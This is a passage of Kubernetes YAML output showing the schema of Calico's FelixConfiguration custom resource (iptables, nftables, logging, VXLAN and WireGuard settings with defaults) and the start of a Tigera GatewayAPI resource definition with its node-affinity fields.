                        type: string
                      timeout:
                        type: string
                    required:
                    - name
                    - timeout
                    type: object
                  type: array
                interfaceExclude:
                  description: |-
                    InterfaceExclude A comma-separated list of interface names that should be excluded when Felix is resolving
                    host endpoints. The default value ensures that Felix ignores Kubernetes' internal `kube-ipvs0` device. If you
                    want to exclude multiple interface names using a single value, the list supports regular expressions. For
                    regular expressions you must wrap the value with `/`. For example having values `/^kube/,veth1` will exclude
                    all interfaces that begin with `kube` and also the interface `veth1`. [Default: kube-ipvs0]
                  type: string
                interfacePrefix:
                  description: |-
                    InterfacePrefix is the interface name prefix that identifies workload endpoints and so distinguishes
                    them from host endpoint interfaces. Note: in environments other than bare metal, the orchestrators
                    configure this appropriately. For example our Kubernetes and Docker integrations set the 'cali' value,
                    and our OpenStack integration sets the 'tap' value. [Default: cali]
                  type: string
                interfaceRefreshInterval:
                  description: |-
                    InterfaceRefreshInterval is the period at which Felix rescans local interfaces to verify their state.
                    The rescan can be disabled by setting the interval to 0.
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                ipForwarding:
                  description: |-
                    IPForwarding controls whether Felix sets the host sysctls to enable IP forwarding.  IP forwarding is required
                    when using Calico for workload networking.  This should be disabled only on hosts where Calico is used solely for
                    host protection. In BPF mode, due to a kernel interaction, either IPForwarding must be enabled or BPFEnforceRPF
                    must be disabled. [Default: Enabled]
                  enum:
                  - Enabled
                  - Disabled
                  type: string
                ipipEnabled:
                  description: |-
                    IPIPEnabled overrides whether Felix should configure an IPIP interface on the host. Optional as Felix
                    determines this based on the existing IP pools. [Default: nil (unset)]
                  type: boolean
                ipipMTU:
                  description: |-
                    IPIPMTU controls the MTU to set on the IPIP tunnel device.  Optional as Felix auto-detects the MTU based on the
                    MTU of the host's interfaces. [Default: 0 (auto-detect)]
                  type: integer
                ipsetsRefreshInterval:
                  description: |-
                    IpsetsRefreshInterval controls the period at which Felix re-checks all IP sets to look for discrepancies.
                    Set to 0 to disable the periodic refresh. [Default: 90s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                iptablesBackend:
                  description: |-
                    IptablesBackend controls which backend of iptables will be used. The default is `Auto`.

                    Warning: changing this on a running system can leave "orphaned" rules in the "other" backend. These
                    should be cleaned up to avoid confusing interactions.
                  pattern: ^(?i)(Auto|Legacy|NFT)?$
                  type: string
                iptablesFilterAllowAction:
                  description: |-
                    IptablesFilterAllowAction controls what happens to traffic that is accepted by a Felix policy chain in the
                    iptables filter table (which is used for "normal" policy). The default will immediately `Accept` the traffic. Use
                    `Return` to send the traffic back up to the system chains for further processing.
                  pattern: ^(?i)(Accept|Return)?$
                  type: string
                iptablesFilterDenyAction:
                  description: |-
                    IptablesFilterDenyAction controls what happens to traffic that is denied by network policy. By default Calico blocks traffic
                    with an iptables "DROP" action. If you want to use "REJECT" action instead you can configure it in here.
                  pattern: ^(?i)(Drop|Reject)?$
                  type: string
                iptablesLockFilePath:
                  description: |-
                    IptablesLockFilePath is the location of the iptables lock file. You may need to change this
                    if the lock file is not in its standard location (for example if you have mapped it into Felix's
                    container at a different path). [Default: /run/xtables.lock]
                  type: string
                iptablesLockProbeInterval:
                  description: |-
                    IptablesLockProbeInterval when IptablesLockTimeout is enabled: the time that Felix will wait between
                    attempts to acquire the iptables lock if it is not available. Lower values make Felix more
                    responsive when the lock is contended, but use more CPU. [Default: 50ms]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                iptablesLockTimeout:
                  description: |-
                    IptablesLockTimeout is the time that Felix itself will wait for the iptables lock (rather than delegating the
                    lock handling to the `iptables` command).

                    Deprecated: `iptables-restore` v1.8+ always takes the lock, so enabling this feature results in deadlock.
                    [Default: 0s disabled]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                iptablesMangleAllowAction:
                  description: |-
                    IptablesMangleAllowAction controls what happens to traffic that is accepted by a Felix policy chain in the
                    iptables mangle table (which is used for "pre-DNAT" policy). The default will immediately `Accept` the traffic.
                    Use `Return` to send the traffic back up to the system chains for further processing.
                  pattern: ^(?i)(Accept|Return)?$
                  type: string
                iptablesMarkMask:
                  description: |-
                    IptablesMarkMask is the mask that Felix selects its IPTables Mark bits from. Should be a 32 bit hexadecimal
                    number with at least 8 bits set, none of which clash with any other mark bits in use on the system.
                    [Default: 0xffff0000]
                  format: int32
                  type: integer
                iptablesNATOutgoingInterfaceFilter:
                  description: |-
                    This parameter can be used to limit the host interfaces on which Calico will apply SNAT to traffic leaving a
                    Calico IPAM pool with "NAT outgoing" enabled. This can be useful if you have a main data interface, where
                    traffic should be SNATted and a secondary device (such as the docker bridge) which is local to the host and
                    doesn't require SNAT. This parameter uses the iptables interface matching syntax, which allows + as a
                    wildcard. Most users will not need to set this. Example: if your data interfaces are eth0 and eth1 and you
                    want to exclude the docker bridge, you could set this to eth+
                  type: string
                iptablesPostWriteCheckInterval:
                  description: |-
                    IptablesPostWriteCheckInterval is the period after Felix has done a write
                    to the dataplane that it schedules an extra read back in order to check the write was not
                    clobbered by another process. This should only occur if another application on the system
                    doesn't respect the iptables lock. [Default: 1s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                iptablesRefreshInterval:
                  description: |-
                    IptablesRefreshInterval is the period at which Felix re-checks the IP sets
                    in the dataplane to ensure that no other process has accidentally broken Calico's rules.
                    Set to 0 to disable IP sets refresh. Note: the default for this value is lower than the
                    other refresh intervals as a workaround for a Linux kernel bug that was fixed in kernel
                    version 4.11. If you are using v4.11 or greater you may want to set this to, a higher value
                    to reduce Felix CPU usage. [Default: 10s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                ipv6Support:
                  description: IPv6Support controls whether Felix enables support
                    for IPv6 (if supported by the in-use dataplane).
                  type: boolean
                kubeNodePortRanges:
                  description: |-
                    KubeNodePortRanges holds list of port ranges used for service node ports. Only used if felix detects kube-proxy running in ipvs mode.
                    Felix uses these ranges to separate host and workload traffic. [Default: 30000:32767].
                  items:
                    anyOf:
                    - type: integer
                    - type: string
                    pattern: ^.*
                    x-kubernetes-int-or-string: true
                  type: array
                logDebugFilenameRegex:
                  description: |-
                    LogDebugFilenameRegex controls which source code files have their Debug log output included in the logs.
                    Only logs from files with names that match the given regular expression are included.  The filter only applies
                    to Debug level logs.
                  type: string
                logFilePath:
                  description: 'LogFilePath is the full path to the Felix log. Set
                    to none to disable file logging. [Default: /var/log/calico/felix.log]'
                  type: string
                logPrefix:
                  description: 'LogPrefix is the log prefix that Felix uses when rendering
                    LOG rules. [Default: calico-packet]'
                  type: string
                logSeverityFile:
                  description: 'LogSeverityFile is the log severity above which logs
                    are sent to the log file. [Default: Info]'
                  pattern: ^(?i)(Trace|Debug|Info|Warning|Error|Fatal)?$
                  type: string
                logSeverityScreen:
                  description: 'LogSeverityScreen is the log severity above which
                    logs are sent to the stdout. [Default: Info]'
                  pattern: ^(?i)(Trace|Debug|Info|Warning|Error|Fatal)?$
                  type: string
                logSeveritySys:
                  description: |-
                    LogSeveritySys is the log severity above which logs are sent to the syslog. Set to None for no logging to syslog.
                    [Default: Info]
                  pattern: ^(?i)(Trace|Debug|Info|Warning|Error|Fatal)?$
                  type: string
                maxIpsetSize:
                  description: |-
                    MaxIpsetSize is the maximum number of IP addresses that can be stored in an IP set. Not applicable
                    if using the nftables backend.
                  type: integer
                metadataAddr:
                  description: |-
                    MetadataAddr is the IP address or domain name of the server that can answer VM queries for
                    cloud-init metadata. In OpenStack, this corresponds to the machine running nova-api (or in
                    Ubuntu, nova-api-metadata). A value of none (case-insensitive) means that Felix should not
                    set up any NAT rule for the metadata path. [Default: 127.0.0.1]
                  type: string
                metadataPort:
                  description: |-
                    MetadataPort is the port of the metadata server. This, combined with global.MetadataAddr (if
                    not 'None'), is used to set up a NAT rule, from 169.254.169.254:80 to MetadataAddr:MetadataPort.
                    In most cases this should not need to be changed [Default: 8775].
                  type: integer
                mtuIfacePattern:
                  description: |-
                    MTUIfacePattern is a regular expression that controls which interfaces Felix should scan in order
                    to calculate the host's MTU.
                    This should not match workload interfaces (usually named cali...).
                  type: string
                natOutgoingAddress:
                  description: |-
                    NATOutgoingAddress specifies an address to use when performing source NAT for traffic in a natOutgoing pool that
                    is leaving the network. By default the address used is an address on the interface the traffic is leaving on
                    (i.e. it uses the iptables MASQUERADE target).
                  type: string
                natPortRange:
                  anyOf:
                  - type: integer
                  - type: string
                  description: |-
                    NATPortRange specifies the range of ports that is used for port mapping when doing outgoing NAT. When unset the default behavior of the
                    network stack is used.
                  pattern: ^.*
                  x-kubernetes-int-or-string: true
                netlinkTimeout:
                  description: |-
                    NetlinkTimeout is the timeout when talking to the kernel over the netlink protocol, used for programming
                    routes, rules, and other kernel objects. [Default: 10s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                nftablesFilterAllowAction:
                  description: |-
                    NftablesFilterAllowAction controls the nftables action that Felix uses to represent the "allow" policy verdict
                    in the filter table. The default is to `ACCEPT` the traffic, which is a terminal action.  Alternatively,
                    `RETURN` can be used to return the traffic back to the top-level chain for further processing by your rules.
                  pattern: ^(?i)(Accept|Return)?$
                  type: string
                nftablesFilterDenyAction:
                  description: |-
                    NftablesFilterDenyAction controls what happens to traffic that is denied by network policy. By default, Calico
                    blocks traffic with a "drop" action. If you want to use a "reject" action instead you can configure it here.
                  pattern: ^(?i)(Drop|Reject)?$
                  type: string
                nftablesMangleAllowAction:
                  description: |-
                    NftablesMangleAllowAction controls the nftables action that Felix uses to represent the "allow" policy verdict
                    in the mangle table. The default is to `ACCEPT` the traffic, which is a terminal action.  Alternatively,
                    `RETURN` can be used to return the traffic back to the top-level chain for further processing by your rules.
                  pattern: ^(?i)(Accept|Return)?$
                  type: string
                nftablesMarkMask:
                  description: |-
                    NftablesMarkMask is the mask that Felix selects its nftables Mark bits from. Should be a 32 bit hexadecimal
                    number with at least 8 bits set, none of which clash with any other mark bits in use on the system.
                    [Default: 0xffff0000]
                  format: int32
                  type: integer
                nftablesMode:
                  description: 'NFTablesMode configures nftables support in Felix.
                    [Default: Disabled]'
                  enum:
                  - Disabled
                  - Enabled
                  - Auto
                  type: string
                nftablesRefreshInterval:
                  description: 'NftablesRefreshInterval controls the interval at which
                    Felix periodically refreshes the nftables rules. [Default: 90s]'
                  type: string
                openstackRegion:
                  description: |-
                    OpenstackRegion is the name of the region that a particular Felix belongs to. In a multi-region
                    Calico/OpenStack deployment, this must be configured somehow for each Felix (here in the datamodel,
                    or in felix.cfg or the environment on each compute node), and must match the [calico]
                    openstack_region value configured in neutron.conf on each node. [Default: Empty]
                  type: string
                policySyncPathPrefix:
                  description: |-
                    PolicySyncPathPrefix is used to by Felix to communicate policy changes to external services,
                    like Application layer policy. [Default: Empty]
                  type: string
                prometheusGoMetricsEnabled:
                  description: |-
                    PrometheusGoMetricsEnabled disables Go runtime metrics collection, which the Prometheus client does by default, when
                    set to false. This reduces the number of metrics reported, reducing Prometheus load. [Default: true]
                  type: boolean
                prometheusMetricsEnabled:
                  description: 'PrometheusMetricsEnabled enables the Prometheus metrics
                    server in Felix if set to true. [Default: false]'
                  type: boolean
                prometheusMetricsHost:
                  description: 'PrometheusMetricsHost is the host that the Prometheus
                    metrics server should bind to. [Default: empty]'
                  type: string
                prometheusMetricsPort:
                  description: 'PrometheusMetricsPort is the TCP port that the Prometheus
                    metrics server should bind to. [Default: 9091]'
                  type: integer
                prometheusProcessMetricsEnabled:
                  description: |-
                    PrometheusProcessMetricsEnabled disables process metrics collection, which the Prometheus client does by default, when
                    set to false. This reduces the number of metrics reported, reducing Prometheus load. [Default: true]
                  type: boolean
                prometheusWireGuardMetricsEnabled:
                  description: |-
                    PrometheusWireGuardMetricsEnabled disables wireguard metrics collection, which the Prometheus client does by default, when
                    set to false. This reduces the number of metrics reported, reducing Prometheus load. [Default: true]
                  type: boolean
                removeExternalRoutes:
                  description: |-
                    RemoveExternalRoutes Controls whether Felix will remove unexpected routes to workload interfaces. Felix will
                    always clean up expected routes that use the configured DeviceRouteProtocol.  To add your own routes, you must
                    use a distinct protocol (in addition to setting this field to false).
                  type: boolean
                reportingInterval:
                  description: |-
                    ReportingInterval is the interval at which Felix reports its status into the datastore or 0 to disable.
                    Must be non-zero in OpenStack deployments. [Default: 30s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                reportingTTL:
                  description: 'ReportingTTL is the time-to-live setting for process-wide
                    status reports. [Default: 90s]'
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                routeRefreshInterval:
                  description: |-
                    RouteRefreshInterval is the period at which Felix re-checks the routes
                    in the dataplane to ensure that no other process has accidentally broken Calico's rules.
                    Set to 0 to disable route refresh. [Default: 90s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                routeSource:
                  description: |-
                    RouteSource configures where Felix gets its routing information.
                    - WorkloadIPs: use workload endpoints to construct routes.
                    - CalicoIPAM: the default - use IPAM data to construct routes.
                  pattern: ^(?i)(WorkloadIPs|CalicoIPAM)?$
                  type: string
                routeSyncDisabled:
                  description: |-
                    RouteSyncDisabled will disable all operations performed on the route table. Set to true to
                    run in network-policy mode only.
                  type: boolean
                routeTableRange:
                  description: |-
                    Deprecated in favor of RouteTableRanges.
                    Calico programs additional Linux route tables for various purposes.
                    RouteTableRange specifies the indices of the route tables that Calico should use.
                  properties:
                    max:
                      type: integer
                    min:
                      type: integer
                  required:
                  - max
                  - min
                  type: object
                routeTableRanges:
                  description: |-
                    Calico programs additional Linux route tables for various purposes.
                    RouteTableRanges specifies a set of table index ranges that Calico should use.
                    Deprecates`RouteTableRange`, overrides `RouteTableRange`.
                  items:
                    properties:
                      max:
                        type: integer
                      min:
                        type: integer
                    required:
                    - max
                    - min
                    type: object
                  type: array
                serviceLoopPrevention:
                  description: |-
                    When service IP advertisement is enabled, prevent routing loops to service IPs that are
                    not in use, by dropping or rejecting packets that do not get DNAT'd by kube-proxy.
                    Unless set to "Disabled", in which case such routing loops continue to be allowed.
                    [Default: Drop]
                  pattern: ^(?i)(Drop|Reject|Disabled)?$
                  type: string
                sidecarAccelerationEnabled:
                  description: 'SidecarAccelerationEnabled enables experimental sidecar
                    acceleration [Default: false]'
                  type: boolean
                usageReportingEnabled:
                  description: |-
                    UsageReportingEnabled reports anonymous Calico version number and cluster size to projectcalico.org. Logs warnings returned by the usage
                    server. For example, if a significant security vulnerability has been discovered in the version of Calico being used. [Default: true]
                  type: boolean
                usageReportingInitialDelay:
                  description: 'UsageReportingInitialDelay controls the minimum delay
                    before Felix makes a report. [Default: 300s]'
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                usageReportingInterval:
                  description: 'UsageReportingInterval controls the interval at which
                    Felix makes reports. [Default: 86400s]'
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                useInternalDataplaneDriver:
                  description: |-
                    UseInternalDataplaneDriver, if true, Felix will use its internal dataplane programming logic.  If false, it
                    will launch an external dataplane driver and communicate with it over protobuf.
                  type: boolean
                vxlanEnabled:
                  description: |-
                    VXLANEnabled overrides whether Felix should create the VXLAN tunnel device for IPv4 VXLAN networking.
                    Optional as Felix determines this based on the existing IP pools. [Default: nil (unset)]
                  type: boolean
                vxlanMTU:
                  description: |-
                    VXLANMTU is the MTU to set on the IPv4 VXLAN tunnel device.  Optional as Felix auto-detects the MTU based on the
                    MTU of the host's interfaces. [Default: 0 (auto-detect)]
                  type: integer
                vxlanMTUV6:
                  description: |-
                    VXLANMTUV6 is the MTU to set on the IPv6 VXLAN tunnel device. Optional as Felix auto-detects the MTU based on the
                    MTU of the host's interfaces. [Default: 0 (auto-detect)]
                  type: integer
                vxlanPort:
                  description: 'VXLANPort is the UDP port number to use for VXLAN
                    traffic. [Default: 4789]'
                  type: integer
                vxlanVNI:
                  description: |-
                    VXLANVNI is the VXLAN VNI to use for VXLAN traffic.  You may need to change this if the default value is
                    in use on your system. [Default: 4096]
                  type: integer
                windowsManageFirewallRules:
                  description: 'WindowsManageFirewallRules configures whether or not
                    Felix will program Windows Firewall rules (to allow inbound access
                    to its own metrics ports). [Default: Disabled]'
                  enum:
                  - Enabled
                  - Disabled
                  type: string
                wireguardEnabled:
                  description: 'WireguardEnabled controls whether Wireguard is enabled
                    for IPv4 (encapsulating IPv4 traffic over an IPv4 underlay network).
                    [Default: false]'
                  type: boolean
                wireguardEnabledV6:
                  description: 'WireguardEnabledV6 controls whether Wireguard is enabled
                    for IPv6 (encapsulating IPv6 traffic over an IPv6 underlay network).
                    [Default: false]'
                  type: boolean
                wireguardHostEncryptionEnabled:
                  description: 'WireguardHostEncryptionEnabled controls whether Wireguard
                    host-to-host encryption is enabled. [Default: false]'
                  type: boolean
                wireguardInterfaceName:
                  description: 'WireguardInterfaceName specifies the name to use for
                    the IPv4 Wireguard interface. [Default: wireguard.cali]'
                  type: string
                wireguardInterfaceNameV6:
                  description: 'WireguardInterfaceNameV6 specifies the name to use
                    for the IPv6 Wireguard interface. [Default: wg-v6.cali]'
                  type: string
                wireguardKeepAlive:
                  description: 'WireguardPersistentKeepAlive controls Wireguard PersistentKeepalive
                    option. Set 0 to disable. [Default: 0]'
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                wireguardListeningPort:
                  description: 'WireguardListeningPort controls the listening port
                    used by IPv4 Wireguard. [Default: 51820]'
                  type: integer
                wireguardListeningPortV6:
                  description: 'WireguardListeningPortV6 controls the listening port
                    used by IPv6 Wireguard. [Default: 51821]'
                  type: integer
                wireguardMTU:
                  description: 'WireguardMTU controls the MTU on the IPv4 Wireguard
                    interface. See Configuring MTU [Default: 1440]'
                  type: integer
                wireguardMTUV6:
                  description: 'WireguardMTUV6 controls the MTU on the IPv6 Wireguard
                    interface. See Configuring MTU [Default: 1420]'
                  type: integer
                wireguardRoutingRulePriority:
                  description: 'WireguardRoutingRulePriority controls the priority
                    value to use for the Wireguard routing rule. [Default: 99]'
                  type: integer
                wireguardThreadingEnabled:
                  description: |-
                    WireguardThreadingEnabled controls whether Wireguard has Threaded NAPI enabled. [Default: false]
                    This increases the maximum number of packets a Wireguard interface can process.
                    Consider threaded NAPI only if you have high packets per second workloads that are causing dropping packets due to a saturated `softirq` CPU core.
                    There is a [known issue](https://lore.kernel.org/netdev/CALrw=nEoT2emQ0OAYCjM1d_6Xe_kNLSZ6dhjb5FxrLFYh4kozA@mail.gmail.com/T/) with this setting
                    that may cause NAPI to get stuck holding the global `rtnl_mutex` when a peer is removed.
                    Workaround: Make sure your Linux kernel [includes this patch](https://github.com/torvalds/linux/commit/56364c910691f6d10ba88c964c9041b9ab777bd6) to unwedge NAPI.
                  type: boolean
                workloadSourceSpoofing:
                  description: |-
                    WorkloadSourceSpoofing controls whether pods can use the allowedSourcePrefixes annotation to send traffic with a source IP
                    address that is not theirs. This is disabled by default. When set to "Any", pods can request any prefix.
                  pattern: ^(?i)(Disabled|Any)?$
                  type: string
                xdpEnabled:
                  description: 'XDPEnabled enables XDP acceleration for suitable untracked
                    incoming deny rules. [Default: true]'
                  type: boolean
                xdpRefreshInterval:
                  description: |-
                    XDPRefreshInterval is the period at which Felix re-checks all XDP state to ensure that no
                    other process has accidentally broken Calico's BPF maps or attached programs. Set to 0 to
                    disable XDP refresh. [Default: 90s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: FelixConfiguration
      listKind: FelixConfigurationList
      plural: felixconfigurations
      singular: felixconfiguration
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
    creationTimestamp: "2025-10-19T16:10:24Z"
    generation: 1
    name: gatewayapis.operator.tigera.io
    resourceVersion: "6820567"
    uid: b906cf89-867a-4742-88f9-80169ea9f191
  spec:
    conversion:
      strategy: None
    group: operator.tigera.io
    names:
      kind: GatewayAPI
      listKind: GatewayAPIList
      plural: gatewayapis
      singular: gatewayapi
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: GatewayAPISpec has fields that can be used to customize
                our GatewayAPI support.
              properties:
                crdManagement:
                  description: |-
                    Configure how to manage and update Gateway API CRDs.  The default behaviour - which is
                    used when this field is not set, or is set to "PreferExisting" - is that the Tigera
                    operator will create the Gateway API CRDs if they do not already exist, but will not
                    overwrite any existing Gateway API CRDs.  This setting may be preferable if the customer
                    is using other implementations of the Gateway API concurrently with the Gateway API
                    support in Calico Enterprise.  It is then the customer's responsibility to ensure that
                    CRDs are installed that meet the needs of all the Gateway API implementations in their
                    cluster.
                    Alternatively, if this field is set to "Reconcile", the Tigera operator will keep the
                    cluster's Gateway API CRDs aligned with those that it would install on a cluster that
                    does not yet have any version of those CRDs.
                  enum:
                  - Reconcile
                  - PreferExisting
                  type: string
                gatewayCertgenJob:
                  description: Allow optional customization of the gateway certgen
                    job.
                  properties:
                    metadata:
                      description: Metadata contains the standard Kubernetes labels
                        and annotations fields.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: |-
                        GatewayCertgenJobSpec allows customization of the gateway certgen job spec.
                        For customization of the job template see GatewayCertgenJobPodTemplate.
                      properties:
                        template:
                          description: |-
                            GatewayCertgenJobPodTemplate allows customization of the gateway certgen job's pod template.
                            If GatewayCertgenJob.Spec.Template.Metadata is non-nil, non-clashing labels and
                            annotations from that metadata are added into the job's pod template.
                            For customization of the pod template spec see GatewayCertgenJobPodSpec.
                          properties:
                            metadata:
                              description: Metadata contains the standard Kubernetes
                                labels and annotations fields.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: |-
                                GatewayCertgenJobPodSpec allows customization of the gateway certgen job's pod spec.
                                If GatewayCertgenJob.Spec.Template.Spec.Affinity is non-nil, it sets the affinity field of the
                                job's pod template.
                                If GatewayCertgenJob.Spec.Template.Spec.NodeSelector is non-nil, it sets a node selector for
                                where job pods may be scheduled.
                                If GatewayCertgenJob.Spec.Template.Spec.Tolerations is non-nil, it sets the tolerations field of
                                the job's pod template.
                                For customization of job container resources see GatewayCertgenJobContainer.
                              properties:
                                affinity:
                                  description: Affinity is a group of affinity scheduling
                                    rules.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
